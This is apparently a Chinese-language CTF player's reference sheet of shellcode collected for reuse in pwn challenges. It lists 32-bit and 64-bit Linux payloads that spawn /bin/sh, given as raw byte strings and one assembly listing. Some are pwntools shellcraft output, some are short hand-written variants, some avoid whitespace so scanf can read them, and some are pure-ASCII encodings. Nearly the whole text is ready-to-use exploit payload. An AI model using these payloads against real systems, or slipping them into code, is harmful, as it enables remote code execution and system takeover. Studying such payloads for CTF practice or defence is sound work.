做了一些shellcode的题目了,遇到了多种多样的shellcode,在这里记录一些,方便以后直接使用。(当然能够自己编写更好)

32位

shellcraft生成的shellcode

shellcraft.sh()

b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
#长度:44 能直接获取shell

其他shellcode

21bytes

b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"    #直接获取shell
b"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"

23bytes

b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"    #直接获取shell

24bytes

b"1\xc91\xd2Rh/sh\x00h/bin\x89\xe3\xb8\x0b\x00\x00\x00\xcd\x80"
shellcode='''
xor ecx,ecx
xor edx,edx
push edx
push 0x0068732f
push 0x6e69622f
mov ebx,esp
mov eax,0xb
int 0x80
''' #直接获取shell

纯ascii字符

b"PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA"

scanf可读取的shellcode

b"\xeb\x1b\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x29\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x29\xc0\xab\xb0\x08\x04\x03\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh"

64位

shellcraft生成的shellcode

shellcraft.sh()

b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
#长度:48 能直接获取shell

其他shellcode

23bytes

b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"    #能直接获取shell
b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

scanf可读取的shellcode

b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"

纯ascii字符

b"Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"